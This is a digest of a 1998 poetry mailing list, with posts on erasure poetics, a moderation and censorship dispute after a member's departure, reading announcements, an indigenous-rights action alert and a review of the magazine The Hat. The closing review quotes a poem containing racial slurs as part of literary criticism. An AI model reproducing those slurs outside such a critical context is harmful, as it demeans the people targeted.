Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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251. **Judy Roitman**

Re: Erasing/rigor

Mon 7 Dec 1998

> *Carlo Parcelli wrote: "What is left out can't be measured. Unlike a mathematical equation, elidings do not follow rules and the result is evocative" etc.*
>
> *To which I would adduce the qualifying example of Joan Retallack's "AI/D/SAPPEARANCE" from HOW TO DO THINGS WITH WORDS: this elegy follows rules of subtraction which are brutally rigorous. "Evocative" does not feel like the right word for the resulting illustration of systematic erasure. The poem eliminates groups of letters from itself, and sort of spirals into nothingness like a curled shell. Near the end, the remaining y's and n's (and a single x) become merely "y", which is more plaintive and angry than evocative because it can be vocalized as a full sentence. The shorthand for "yes" becomes a pun for "why?" When it goes, there is only silence and invisibility rather than the play of the fragment. But this blankness is only one state in the series, so perhaps it is a fragment. Does its situation as the final state in the series endow it with a special status?*
>
> *Whether or not the silence of the dead can be read in/as text, and whether or not this silence is total or irrevocable would seem to be related to the issues of how Derrida, Blanchot et al theorize erasure and the connection between body and inscription. And in turn whether absence of text can represent death, or instead must always represent more text. Can there be different kinds of palimpsests, created by different gestures of blotting, erasing, tracing, collaging.....? Schwerner's Tablets.....Is blankness possible only as a hypothetical case beyond the horizon of the line?*
>
> *Gary R.*

Only slightly (well, maybe more than that) changing the subject, there are other examples of "brutally rigorous" rules producing evocative work. For example, the programs Jim Rosenberg created to realize the vision of John Cage (this was the stuff with key words appearing vertically down the middle of the page, a sort of variation on acrostic, taken from existing texts --- anyone remember the name of this form?).

Back to the subject --- absence of text can represent many things besides death or more text. And why should it represent anything at all?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996

---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

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252. **miekal and**
Re: Anne Waldman Archive
Mon 7 Dec 1998

John Latta wrote:
>
> I thought some may be interested to know that the Special Collections
> Library at the University of Michigan just acquired the papers of Anne
> Waldman,

john, do you know anything more about this special collection, what other kind of works are in it, & in particular a contact address?

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253. **Gabriel Gudding**
Henry Gould, News Regarding
Mon 7 Dec 1998

---

hg has left the list. this is, for me, a great loss.

but of course he had no knowledge, no expertise, no worthy thoughts, nothing in that nut-like pate and nothing in that dessicated prune of a heart to make his posts edifying or humorous or prodding.

he was just a windbag, wasn't he.

good riddance.

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254. **groberts**
Re: Erasing
Mon 7 Dec 1998

Carlo Parcelli wrote: "What is left out can't be measured. Unlike a mathematical equation, elidings do not follow rules and the result is evocative" etc.

To which I would adduce the qualifying example of Joan Retallack's "AI/D/SAPPEARANCE" from HOW TO DO THINGS WITH WORDS: this elegy follows rules of subtraction which are brutally rigorous. "Evocative" does not feel like the right word for the resulting illustration of systematic erasure. The poem

eliminates groups of letters from itself, and sort of spirals into nothingness like a curled shell. Near the end, the remaining y's and n's (and a single x) become merely "y", which is more plaintive and angry than evocative because it can be vocalized as a full sentence. The shorthand for "yes" becomes a pun for "why?" When it goes, there is only silence and invisibility rather than the play of the fragment. But this blankness is only one state in the series, so perhaps it is a fragment. Does its situation as the final state in the series endow it with a special status?

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Gary R.

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255. Chris McCreary
address queries
Mon 7 Dec 1998

If anyone has addresses, e-mail or pony express, for Will Alexander &/or Myung Mi Kim, please back channel. Thanks much in advance.

Chris McCreary

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256. Mairead Byrne
Re: Adieu
Mon 7 Dec 1998

Henry gently says goodbye. Though he did mention trained seals. I guess he didn't like the doghouse, despite all the fine and well-aimed bones. I've never met Henry. But he definitely is a big shaggy person in my mind. Is personality too raw for poetics?

What do you guys really think about censorship/moderation? I know in my own case I was taken aback, on November 7, when I received an unsigned advisory notice telling me "to keep posts to the list close to the focus of the list as indicated in the Welcome Message." How many of you have received such warnings? Being fairly new to the list, I posted news of my advisory notice but

received no feedback. I can only conclude that such notices are either very common or very rare.

How many of you have been in the doghouse? Are you still on the list and why?

Mairead

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257. **david bromige**
re erasure/rigor: judy's question
Mon 7 Dec 1998

Mesostic, I believe, is the word for the kind of acrostic you refer to, Judy.

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258. **R.Gancie/C.Parcelli**
Re: Erasing/rigor
Mon 7 Dec 1998

I thank Judy and Gary for pointing up an obviuos error or omission of possiblities at the end of my earlier transmission.---Carlo Parcelli
Judy Roitman wrote:
>
> >Carlo Parcelli wrote: "What is left out can't be measured. Unlike a
> >mathematical equation, elidings do not follow rules and the result is
> >evocative" etc.
> >
> >To which I would adduce the qualifying example of Joan Retallack's
> >"AI/D/SAPPEARANCE" from HOW TO DO THINGS WITH WORDS: this el-
egy follows
> >rules of subtraction which are brutally rigorous. "Evocative" does not
> >feel like the right word for the resulting illustration of systematic
> >erasure. The poem eliminates groups of letters from itself, and sort of
> >spirals into nothingness like a curled shell. Near the end, the remaining
> >y's and n's (and a single x) become merely "y", which is more plaintive
> >and angry than evocative because it can be vocalized as a full sentence.
> >The shorthand for "yes" becomes a pun for "why?" When it goes, there is
> >only silence and invisibility rather than the play of the fragment. But
> >this blankness is only one state in the series, so perhaps it is a
> >fragment. Does its situation as the final state in the series endow it
> >with a special status?
> >
> >Whether or not the silence of the dead can be read in/as text, and whether
> >or not this silence is total or irrevocable would seem to be related to

> >the issues of how Derrida, Blanchot et al theorize erasure and the
> >connection between body and inscription. And in turn whether absence of
> >text can represent death, or instead must always represent more text.
> >Can there be different kinds of palimpsests, created by different gestures
> >of blotting, erasing, tracing, collaging.....? Schwerner's
> >Tablets.....Is blankness possible only as a hypothetical case beyond
> >the horizon of the line?
> >
> >Gary R.
>
> Only slightly (well, maybe more than that) changing the subject, there are
> other examples of "brutally rigorous" rules producing evocative work. For
> example, the programs Jim Rosenberg created to realize the vision of John
> Cage (this was the stuff with key words appearing vertically down the
> middle of the page, a sort of variation on acrostic, taken from existing
> texts --- anyone remember the name of this form?).
>
> Back to the subject --- absence of text can represent many things besides
> death or more text. And why should it represent anything at all?
>
> ---
> Judy Roitman | "Whoppers Whoppers Whoppers!
> Math, University of Kansas | memory fails
> Lawrence, KS 66045 | these are the days."
> [redacted] |
> fax: [redacted] | Larry Eigner, 1927-1996
> ---
> Note new area code
> ---
> http://www.math.ukans.edu/~roitman/
> ---

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259. John Latta
Anne Waldman Archive
Mon 7 Dec 1998

I thought some may be interested to know that the Special Collections Library at the University of Michigan just acquired the papers of Anne Waldman, described as "over 24,000 manuscripts, letters, business and personal documents,

photos, and audiotapes." The collection at this point is totally unprocessed, meaning it will be some months before it will be ready for regular use. Kathryn Beam ([redacted]) notes that interested parties can contact her, though, with specific questions, with the caveat that details about items included in the archive are not now fully known by the staff.

John Latta

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260. **Pritchett,Patrick**

FW: Declaration on Rights of Indigenous Peoples

Mon 7 Dec 1998

> *-----Original Message-----*
>
> *Hi friends,*
>
> *I realize you get lots of e-mails and lots of requests for action from me .*
> *But I'm writing because there are some very important activities taking place in Geneva which will affect the future long-term status of indigenous*
> *people all over the world. The Draft Declaration on the Rights of Indigenous*
> *Peoples is being considered and the United States is at the head of the charge to gut the document. The document is the result of 15 years of work*
> *of indigenous people from all over the world. If you can fax or email letters to the people mentioned below it would be very helpful to the indigenous folks in Geneva and around the world.*
>
> *Thanks,*
>
> *Carolyn* [redacted]
> [redacted]
>
> *Here's a little background info.*
>
> *The next UN Intersessional Working Group on the Draft Declaration is taking*
> *place from November 30-December 11 in Geneva, Switzerland. This year's meetings, we believe, will be vital to the fate of the declaration. We believe that the U.S. and other nation-states will attempt to gut the draft*
> *of all protections of indigenous peoples' collective rights-particularly the*
> *right to meaningful self-determination. The U.S. has already stated its*

opposition to Article 3 of the draft, which reads "Indigenous peoples have the right to self-determination. By virtue of that right they freely determine their political status and freely pursue their economic, social and cultural development." Indigenous peoples present at the UN have agreed unanimously that Article 3 is essential to the Declaration, and must not be weakened in any way. Your hard work in this action is vital to protecting indigenous peoples' fundamental human rights!!

12/3 The United States Department of State released its position on the UN Draft Declaration on the Rights of Indigenous Peoples to the UN Intersessional Working Group working in Geneva to review the Draft. As anticipated, the US recommends significant changes in the Draft Declaration. Those recommendations include:

**A call for a new declaration*
**Focusing on the rights of individuals (not the collective rights of peoples) to preserve identity and culture*
**Elimination of political self-determination.*
**Removing the "s" from the phrase "Indigenous Peoples" and redefining the operative definition in terms of individuals or groups or populations, but not "peoples". [The word "peoples" reflects the nation status that many Indigenous Peoples hold. The word "People" does not.]*

In essence,the United States' position would undermine the work of over 160 Indigenous Peoples' organizations, forty two UN state members, nine specialized UN agencies, and other interested non-government organizations who worked for eleven years to develop the currrent 1993 Draft which represents for indigenous peoples a minimum standard of human rights. The US position also seeks to impose aspects of US Federal Indian Policy onto the rest of the world.

ACTION ALERT!!!!!!!

SUPPORT JUSTICE FOR INDIGENOUS PEOPLES

December 4,1998

As you read this, the government of the United States, is participating in a meeting at the United Nations in Geneva, Switzerland. At this meeting,

the U.S. delegation is taking a public position that the rights of Native peoples are only individual rights, threatening the collective existence that Indigenous Peoples have known since the beginning of time. The U.S. has suggested that the people of the U.S. do not support the right of Indigenous Peoples to possess the internally-recognized right to self-determination. We think that this official position is simply a contemporary version of the conquest and assimilation U.S. Indian policy of the last century. We think that the U.S. delegation is both incorrect and morally wrong in taking these positions, and we are asking for your help.

Please contact the officials below and tell them that:

** THE OFFICIAL POLICY OF THE UNITED STATES SHOULD BE THAT INDIGENOUS PEOPLES MUST BE AFFORDED THE STATUS AND RECOGNITION OF ALL OTHER PEOPLES IN THE WORLD.*

** YOU SUPPORT THE INTERNATIONAL RIGHT TO SELF-DETERMINATION FOR ALL INDIGENOUS PEOPLES.*

** YOU SUPPORT THE DRAFT UNITED NATIONS DECLARATION ON THE RIGHTS OF INDIGENOUS PEOPLES AS IT IS CURRENTLY WRITTEN, AND THAT THE UNITED STATES GOVERNMENT SHOULD SUPPORT IT AS IS.*

** YOU BELIEVE THAT INTERNATIONAL HUMAN RIGHTS SHOULD EMBRACE BOTH INDIVIDUAL AND COLLECTIVE RIGHTS, AND THAT THE U.S. SHOULD EXPAND ITS OFFICIAL POSITION ON HUMAN RIGHTS TO REFLECT THIS.*

** TREATIES BETWEEN THE U.S. AND INDIGENOUS PEOPLES ARE BINDING INTERNATIONAL DOCUMENTS THAT SHOULD BE SUBJECT TO INTERPRETATION BY IMPARTIAL INTERNATIONAL TRIBUNALS.*

Please communicate these messages immediately to the officials below, and send copies of the communication and/or responses to: NETWARRIORS (kekula @aloha.net)

President William J. Clinton
[redacted] (ph.)

> [redacted] *(fax)*
> [redacted]
>
> *Secretary Madeleine Albright*
> *Secretary of State*
> [redacted] *(Fax)*
> [redacted]
>
> *Mr. Harold Koh, Asst.Secretary of State for Human Rights -*
> [redacted] *(fax)*
> [redacted]
>
> *U.S.Mission to the UN in Geneva*
> *tel:011-41-22-*[redacted]
> *fax:011-41-22-*[redacted].
>
> *This position endorsed by:*
> *American Indian Movement,Indigenous Law Institute, American Friends Service*
> *Committee*
>
> *---------- End Forwarded Message ----------*
>
> *You are receiving this from the Left Hand Books event list. To be removed from the list contact:*
> [redacted]

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261. **Carmen Butcher**

Jackson Pollock on "destroying the image"

Mon 7 Dec 1998

A Pollock quote I have on my desk where I write poetry, to remind me of something I find true:

When I am in my painting, I'm not aware of what I'm doing. It is only after a sort of "get acquainted" period that I see what I have been about. I have no fears about making changes, destroying the image, etc., because the painting has a life of its own. I try to let it come through. It is only when I lose contact with the painting that the result is a mess. Otherwise there is pure harmony, an easy give and take, and the painting comes out well.

Carmen

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262. Steven Shoemaker
irony goggles (Be Safe: Wear Them!)
Mon 7 Dec 1998

First of all, congratulations to Kent Johnson for his astute detection of delicious ironies like: males posting to the list about males posting too much! This one was so juicy it almost squirted me in the eye when I bit into it. Luckily, I was wearing my irony goggles. Also luckily, I'm not all that afraid of irony anyway--or Kent's post might seem to suggest that there is no way for males to attempt to address questions of gender inequity. This would be a convenient way of thinking, in that us males would be absolved from ever having to talk about the issue. But I'm sure this isn't what Kent would want to suggest, given the urgent interest in political and social issues he has often demonstrated in his posts. Oops--things are getting delicious again!

Also, just for the record, if Henry has really left the list it's a shame, and I for one would never have wanted it to happen. As I've said front-channel and back-channel, and will say again, I've always valued a great deal of what Henry has had to say. I hope he'll come back. I've also been operating under the assumption, though, that the list wouldn't be hurt by a little self-examination, by an exploration of how to enrich the conversation, perhaps by including more voices, etc. But for some folks any suggestions along these lines seem to be interpreted as a sort of quasi-fascistic intervention into a situation (the status quo) that was somehow always already "free." This strikes me as a profoundly *conservative* reaction, even as it comes from folks who like to think of themselves as rebels and radicals.

steve

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263. Pritchett,Patrick
Re: Left Hand Reading Series for December
Mon 7 Dec 1998

> *The Left Hand Reading Series for December proudly presents an evening of pre-soltitial/postprandial Brilliance:*
>
> *LISA JARNOT*
> *MARK DuCHARME*
> *EDMUND BERRIGAN*
>
> *Thursday, December 17 @ 8:30pm at Left Hand Books*

> *1825 Pearl Street, Boulder, above the Crystal Market*
>
> *An Open Reading will proceed the featured readers.*
>
> *FREE - but donations are requested.*
>
> *Lisa Jarnot is the author of "Some Other Kind of Mission" and the forthcoming "Ring of Fire" (from Zoland Books) and is co-editor of "An Anthology of New American Poets," which was named by Publishers Weekly as one of the best new books of the year. She is currently working on a biography of Robert Duncan and teaching at the Naropa Institute as visiting faculty.*
>
> *Mark DuCharme is the author of "Contracting Scale" and "Three Works." His chapbook "Near To" is forthcoming from Poetry New York. His poetry and essays have appeared in many journals. He has taught at the Naropa Institute and is co-director of the Left Hand Reading Series.*
>
> *Edmund Berrigan is the author of several chapbooks of poetry and an editor of Log magazine. He lives in San Francisco.*
>
> *"To write is to let fascination rule language." - Maurice Blanchot*

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264. KENT JOHNSON
Concerns
Mon 7 Dec 1998

List companions:

Charles Bernstein posted me b-c in response to my message yesterday about the posting wars. Below is my response to him. Because a later message from him this AM suggests he misunderstood the concerns I was trying to express in my reply to him below, and because I think the issues involved are very important (Henry Gould's apparent quitting of the List shows that the issues are, indeed, important), I thought I would share my letter to Charles. I don't do this lightly, nor do I presume, even, that most people on the List wish to discuss the controversy any further. There seems to be an understandable desire to move on and to "get back to the way things were." But I do feel that there are some things that have been left unsaid in all of this, and unless they are fully and honestly discussed, things will never really be "the way they were," at least as I have come to understand and love the spirit of this List. So as someone who has been quite active on this space over the past couple of years and and as someone who feels grateful for the deep enjoyment and _true education_ that activity has provided, I feel compelled to say a few things, realizing tht doing so may well perhaps lead to my own leaving of the List.

I wrote in a post yesterday (the one with the barely believable title "My one post for December"), that the real issue in this whole affair has nothing to do with numbers as the consensus has painted it. If it did, then why not just cut people off after the alloted five posts, or reduce the daily limit for everyone to provide more space? Or how could it really have to do with numbers if, as I pointed out, Henry-- poster numero uno-- averaged only a fraction more than one post per day for the whole month of November. He and Gabe Gudding-- Gudding at number three with the most posts-- have been told (and I ask to be corrected if I'm wrong), that their posts are to now be reviewed and judged before they may appear. But I, _as poster number two_, have been forewarned of nothing and have been reassured by Charles that no one has made a move to do so. All of these things put together only reaffirm for me the unpleasant and fairly obvious truth that no one seems willing to frankly discuss: That what has given rise to this whole affair is a somehow unwelcome _content_ in the sometimes biting, even, yes, iconoclastic, posts of Gould and Gudding-- a contentious content that is being "corrected" (and with the apparent acquiescence or direct approval of many on this List) through ideological monitoring and outright censorship. And I choose my terms so as to call a spade a spade.

I'm frankly stunned by this development. And I reject the argument that this is merely a matter of excercising an unfortunate but sometimes needed control for the benefit of the greater community. Yes, there would certainly be bizarre situations that would warrant such action, but no one has expalined _what it is_ about Gould and Gudding's posts that would warrant this turn of events. I, for one, as a member of the List, truly grateful, as I make clear below, for all of Charles's vision and work in makeing this space possible in the first place, do not want to be--cannot bring myself to be-- part of a "community" that has drawn an unacknowledged but very real invisible shock fence around it-- especially of a community that exists to discuss, quarrel, and _collectively_ search this unbounded and always opening subject of poetry.

I want to make absolutely clear that in stating these concerns I am in no way impugning "bad" motives to anyone. Let me be clearer at the risk of seeming maudlin: I have a sense of debt to Cahrles Bernstein, though he doesn't know it, not only out of tahnks for his efforts on this List but also in the sense that I have learned much from his thought in poetics, as I have from a number of other peopel on this List. I'm even granting Charles the best of intentions in his actions. But I do think there is an unacknowledged "political unconscious" at work in the moves to "exercise control" of the List, think that those moves are unfortunate ones, and I'm not going to let any gratitude and indebtedness I might feel keep me from saying what I think. If peopel _would_ say what they really think about this matter THEN the List can truly get back to the way it was, and

perhaps, even, a person valuable to the rich heteroglossia of our conversation like Henry will come back. I hope so anyway.

Kent

------- Forwarded Message Follows -------From: Self <STUDENT/KJOHNSON> To: Charles Bernstein <[redacted]> Subject: Re: yr post to Poetics Date: Sun, 6 Dec 1998 17:34:39 -0500

Charles:

No, no one has asked me to reduce my postings, but I have to wonder why, since in the past couple of months I have posted almost as much as Henry and more than Gabe Gudding. In expressing your concern that the List had recently been topping out at 50, your post to everyone suggested that the issue was numbers, and the crisis-like disussion has indeed focused on that as the "problem." And so this frankly leads me to feel, especially following Ron's smoke 'em out tally, that most of those expressing concern must well have had me in mind as one of the "troublemakers." My own concern (and I know it is shared by others) is that the numbers really have very little to do with this and that what underlies the brouhaha is an impatience on the part of some with the stubborn and feisty voicing of positions that counter the dominant "aesthetic politics" of the List. It should be reaffirmed, and clearly, I think, that people on the List can argue for any kind of Poetics they want to. Ove rthe past year or so that has been the case, wiht Henry adding much of the exotic spice, and _in part_ because of that this List has been a great place to be, a big renga-house to wander and think and learn within.

Most recently, Gabe Gudding's hilarious and sometimes biting rants were a perfectly healthy thing for the List, whcih I consider to be a wonderful, wonderful thing, and for which I, like everyone, am very grateful to you. Please take the above, then, as an honestly felt critique of your (surprising, to me) intervention into the controversy (which was _really_ sparked, I feel, by Gudding's cheekiness contra Perloff), and understand that it is offered in appreciation for the tremendous effort over the years that you have given to make this space exist in the first place. But I think it would have been best to simply let things ride-- and it would be best, in my humble opinion, to not step-up any kind of level of "supervision."

Sincerely,
Kent

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265. Jordan Davis
Eileen Myles . Kenneth Koch . Poetry City
Mon 7 Dec 1998

Eileen Myles and Kenneth Koch will read from their work
this Thursday night December 10
at 7 pm at Poetry City
in the offices of Teachers & Writers Collaborative
5 Union Square West in New York

The reading will be free

will you?

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266. Gabriel Gudding
God Bless the Tumors, the Boils and the Blisters
Mon 7 Dec 1998

> "You are impertinent, they said to me.
> I'm not impertinent, I said: I'm lost."
>
> -- Brecht, "Emigrant's Lament"

I was going to reserve this 30 min's of freetime tht I now have for posting a few more thoughts on the THEORY OF SLAPSTICK POETICS. But the news of Henry's departure has so saddened me I am moved to write a meta-poetics commentary.

The little backchanneling of late that CB and I have done is I think fairly summed up by the above quote.

Some have said CB is killing an essential part of this list with his interventions.

I have even gone so far as jokingly to call CB a controlling prig.

One or two of us have however gone on to compliment CB on his open-minded and fair attitude (I am one of these). I compliment CB on his open mind.

Then some have come on and wrongly and scathingly denounced CB as a pompous, washed-up, control-freak who has chained letters to an outdated linguistic ideology and is someone unwilling to face the literary reality that little if any true BRISANCE can be found among the work of those who subscribe to this ideology and that his over-editing of this list's tone and content in order that no one malign this ideology is bruising the fruit of the orchard that is this list, thereby reducing its boinky of bounty. But I think that's more than unfair and possibly grossly inaccurate.

Some have even insisted that this list now be killed off in the name of all that is decent, just, fair, true, wise, excellent, healthy, progressive, non-tv-oriented, and ecologically sound.

But I am not one of these. I love this list and its boinky of bounty.

But already I miss Henry.

Some -- not I -- wrote in saying CB was a mistake, a literary accident, a flash-in-the-pan turned into a slightly-lingering coruscation-in-the-air and soon to blip into a retinal after-image on the disco-floor of letters (and whoever wrote THAT obviously had no sense of when enough is enough.) AGAIN, I am not one of these: I enjoy his work. It is important. Besides, this is everyone's fate.

Some have said it is quite plain CB's muzzling of Gould & yrs truly had little to do with volume and more to do with content -- perhaps GG's subject lines might indicate something here: "Ross Feld on Bernstein," "Bernstein and The Avant-Bored," "Bernstein Better a Haberdasher," "Marjorie Perloff is Wrong" etc etc. All of which is irrelevant, unless of course someone says different.

Despite my subject lines, I don't stand with these people: I have thanked CB both publically and privately for his open-mindedness, Indeed I am the _Boyu-na_ the harmless snake of Ceylon.

Some have even forgodsake written in impotently flaming that in the name of all that keeps our lungs pink CB should forthwith be removed post-haste like Pinsky from his poet-post, since he never deserved it in the first place these people are beneath contempt icky icky. They are sciolists and nothing more.

But let us forgive these people. They are only a little LOST in their thinking. And afterall, what is an avant-garde but a group of artists dedicated to being lost?

WITH WHOM THEN DO I STAND? With my fellow lost, of course.

MY AFFILIATIONS ARE WITH THOSE WHOSE IDEALS MATCH THOSE MENTIONED IN THE WELCOME MESSAGE OF THIS LIST. Despite many of their foibles, these Lost have much to say: a great deal of it is said in disagree-ment, with varying tone, with wild conjecture, with blicky froth of death, with mild I-would-hit-you's and with rash I-Hate-You-I-Hit-You's. In the words of the sage, It's all good. Let's suffer our mutual foibles (enervating and annoying though they be) for the sake of our many fruits.

With whom then do I stand? The lost. Not the found or the well-housed; not the comfortable. And certainly not with the well-behaved.

Be wise and write well. Warmly, Gabe

[[ps, and when that editor at Gladhanding U Quarterly Journal writes you and says "I like everything about your poem but THE TONE, just wanna change a few things and then I'll publish it," would you think twice about saying "Puh, no thank you"? I'm sure Mairead Byrne wouldn't, Henry wouldn't. And Bernstein wouldn't, that's for sure.

God bless this list and its boinky of bounty: God bless Charles and Joel! God bless Henry Gould!

& since nonymity is what it's all about: A pubic and wholehearted thankyou to Henry, Joel, Charles, Mairead, Elliza and Eliza, Steve Shoemaker, Joe's Amato & Brennen, Callow Parcelli, KENT JOHNSON, George Thompson, Billy Little, oh and Marjorie Perloff & others for hashing this out. Now: who's got henry's ph #?

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267. Rachel Blau DuPlessis

Re: Erasing

Mon 7 Dec 1998

Dear List, as I was erasing a lot of messages, 365 piled up in a few days (cf. Big Debate, inc. gender isues [finally!], moderations, etc), I came upon <me> and the issue of erasing. So of course, I stopped erasing, and started posting. I am interested in memory and the issues of amnesia (personal and historical). This interest is both personal (I have a bad--i.e. porous-- memory) and historical (in the twentieth century there are many attempts to obliterate groups, to erase them from the face of the earth). The trauma of amnesia and the trauma of remembering, witnessing are intertwined for me. My interest did not begin "textually" (that is solely as a question of rhetoric, representation, or formal interests) tho it takes shape textually. There is (for me) no sense of textuality as a value in a vacuum; making texts, and alluding to textual stuff (like black pages, or glosses) is absolutely linked to depths of ethical and social and poetic feeling. I don't know whether this is totally clear. I am a little wary of putting my own poems up here, but the following, for those who want to read it, might be germane. From Draft 17: Unnamed (in _Drafts 15-XXX, The Fold_) The first 11 lines are cited and italicized. She stood at the pit
where, this 50 years,

155 Jews were shot.
There, near a field of rye,
she'd found dozens of notes and addresses

tossed away
moments before their deaths.
To this day,

she regrets
that, out of fear,
She did not pick them up.

The poetics seems plain.
Since then
there ar many people spend their time

picking up the notes.
But they are not there.
They are as gone as possible to be.

So the gathering
is imposible.
But still the shapes are bowed,

and search
this otherwhere of here.
Yet had they actually

been there
that time
being remembered,

it is equally possible
they too would have left
all of them where they lay.

(the poem continues; but this is what I will post)
==========
Rachel Blau DuPlessis
Temple University
Philadelphia, PA 19122
[redacted]

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268. Mark Wallace
poetry reading in D.C.
Mon 7 Dec 1998

We hope that you can join us for a poetry reading on Saturday, December 12 at 7:30 p.m. at the Ruthless Grip Art Project (1508 U Street NW, on U Street near the corner of 15th, beside the big black sign!) for a poetry reading by LISA SAMUELS and ROD SMITH.

Much to the amazement of everybody who noticed it here in D.C., LISA SAMUELS' first book-length collection of poems, SEVEN VOICES (O Books)

received a glowing (if short) review recently in the Washington Post, making it pretty much the first non-mainstream poetry collection ever to be reviewed in the Post, as far as anyone around here seems to know. But everybody should read the book anyway! Sophisticated and philosophical, SEVEN VOICES offers a highly theoretical, yet still emotionally engaged, look at the contemporary condition of language and the world that language both makes and can't quite find.

ROD SMITH is the author of a number of books of poetry, including IN MEMORY OF MY THEORIES (O Books) and THE BOY POEMS (Buck Downs Books). He is also the editor of AERIAL magazine, whose forthcoming issue on the work of Bruce Andrews forms the backdrop of an interchange between Rod and Bruce in the most recent issue of PHILLY TALKS. Once called by Connie Deanovich a "New York School Poet in Language Poetry clothing," Rod's work is actually far more unique and surprising than such a label suggests--but it's still a pretty funny thing to say, anyway.

We hope to see you there and for all festivities afterwards.

```
/-----------------------------------------------------------------------\ |
| |     [redacted]                                  | |     GWU:
| |     http://gwis2.circ.gwu.edu/~mdw                                | |     EPC:
| |     http://writing.upenn.edu/epc/authors/wallace                    | |
_____________________________________________________________________________|
```

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269. Ramez Qureshi
erasing
Mon 7 Dec 1998

Another instance of this sort of thing in Cage is his _Empty Words_, in which he subjects a Thoreau text to random I-Ching operations.
-RQ

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270. Burt Kimmelman
Re: Erasing
Mon 7 Dec 1998

rachel et al.:

are you familiar with the work of the german philosopher (recently deceased) hans blumenberg? one of his core ideas, i think (a friend of mine is a blumenberg scholar--i'm not, alas), is the necessity of forgetting.

burt

Burt Kimmelman
Department of Humanities and Social Sciences
New Jersey Institute of Technology, Newark, NJ 07102
[redacted] (p) [redacted] (f)
[redacted] (e) http://eies.njit.edu/~kimmelma (i)

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271. **Joe Brennan**
(no subject)
Mon 7 Dec 1998

---

this morning I heard, sadly, that henry gould had called it quits, and now kent johnson b/c me to say that several posts that he and gabriel gudding have sent to the list have thus far not appeared. just as a matter of information, are any, or all messages submitted to the list being monitored prior to publication?

joe brennan

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272. **R.Gancie/C.Parcelli**
Re: Erasing
Mon 7 Dec 1998

Your segue into your poetics, to my mind, is perfectly legitimate. If your brief theoretical disquisition seems somewhat forced in order to conform to the set of preceding posts, well, then we've all done that from time to time in order to be a part of one discussion or another. Your subject matter is beyond reproach even if your aesthetic does not conform to the fundamental bias of this list.---Carlo Parcelli
Rachel Blau DuPlessis wrote:
>
> Dear List, as I was erasing a lot of messages, 365 piled up in a few
> days (cf. Big Debate, inc. gender isues [finally!], moderations,
> etc), I came upon <me> and the issue of erasing. So of course, I
> stopped erasing, and started posting. I am interested in memory and
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> both personal (I have a bad--i.e. porous-- memory) and historical (in
> the twentieth century there are many attempts to obliterate groups,
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> rhetoric, representation, or formal interests) tho it takes shape

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> vacuum; making texts, and alluding to textual stuff (like black
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>
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> There, near a field of rye,
> she'd found dozens of notes and addresses
>
> tossed away
> moments before their deaths.
> To this day,
>
> she regrets
> that, out of fear,
> She did not pick them up.
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> The poetics seems plain.
> Since then
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>
> picking up the notes.
> But they are not there.
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> So the gathering
> is imposible.
> But still the shapes are bowed,
>
> and search
> this otherwhere of here.
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> been there
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> it is equally possible
> they too would have left
> all of them where they lay.
>
> (the poem continues; but this is what I will post)
> ==========
> Rachel Blau DuPlessis
> Temple University
> Philadelphia, PA 19122
> [redacted]

--
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273. Dale Smith

Readings in Austin / The Hat (if this gets through…)

Mon 7 Dec 1998

The second of our monthly readings took place on Saturday night in Autin, Texas, with Roberto Tejada reading a selection of his work. His investigation of "rhetoric" as a tool for expressing the greater complexities of experience revealed a transmundane whisper within physical objects worthy of critique and desire. He pastes passages from Bataille next to the Joys of Cooking, from which he details the evisceration of an eel, the soft belly revealed for gutting once the surface-layer has been removed. He is a gracious reader, kind to his audience even as his poetry borders the limits of Texan sensibilities. Luckily, in the mouth, words move faster than many can comprehend. Such is the depth of his imagination: powerful, 'real' and expressed at high velocity.

Afterwards, of course, the usual rounds of tequila, beer and wine were consumed in the unusual, "unseasonable" open air. Several of us decided that evening to begin a reading group centered on Hamlet's Mill. Have any of you listees read this book? I'll keep you posted on this series, as it promises to make sense of apparently contradictory elements of science and myth.

Finally, I wrote a post on Friday for delivery to the list, but through some kind of intervention, it never arrived. It was a review of The Hat, edited by Jordan Davis and Chris Edgar. I suggest checking it out because this first issue is comprised only of women, having been published by men. The quality of writing varies, but it is especially interesting to read compared to the recent Moving Borders Anthology.

The writing in The Hat is motivated by various complex yankee anxieties of who and what women are. J. Spahr's piece addresses the issue of gender specific pronouns in the process of revealing a kind of "love" poem to some equally, distant being bound in the process of internal re-imagination. Her lines are expressed according to syllogistic logic, direct but complicated by other syntactic "movements" of repetition and rhetorical positions.

"So this," she writes, "is what is meant by the 'seeking that takes
place between
prelanguaged and languaged states, before and behind the 'I.'"

And then a few lines later:

"Or I or he or she am or is trying
missing or mixing things up.
Thanks for the directions."

Juliana's insistent position that we examine and articulate the complexity of gender and human construction is valiant, moreso since her critique has tightend here, for me, becoming more direct and less hesitant. Although firmly entrenched in the socio-cultural, her energy appears to come from another place entirely, but other readers can determine that for themselves.

With 20 pages, Kimberly Lyons receives the most space in this issue. The poems are sharp, angular, focused on naturally occuring phenomena. Objects lie in juxtapositions that create imaginative possibilities. Some might find only colors and shades here; others only sentimental attachments. But the phrasing and rhythm, the space around the lines-- these things create a radiation of event that swells up from within the poem:

Trees fill
the window and
light
is thin, holds its dust.

On the bar
last night I saw
Three martinis,
trembling triangles.
Nancy said
this is the first time
I've felt happy.
big white trucks.
I guess everybody goes there
at least once.

The line breaks and injambment play with meaning. There's a strangeness here that resists explanation. There's a sense of revelation without opaque self-consciousness. You can see why the editors chose so many pieces from her.

Janice Lowe address race directly in her poem, "The Summervilles of Pickens County." She resists theorizing the assumptions and details of racial encounter by addressing the details in language that live "in the mouth." Although her use of the little 'i' is annoying, the coloquial articulation of this poem builds a powerful address.

i tell the black ones calling me red
    you wanna be red like me nigger
the white ones
    you redder than me you gotdam cracker
all this is turning me
into a kind of peckerwood nigger
i don't like for people to be black and greasy at the same time
i prefer yellow women for lovemaking some have said
all my children have lightskinned mothers
of course i'm a race man

Witness the velocity of those lines, the build-up and speed. Like many of the pieces in this collection, the concerns of the social are delivered in a language that feels threaded to other agencies of expression. This only complicates and increases the emotional trajectories aimed against the dominate regimes of the social.

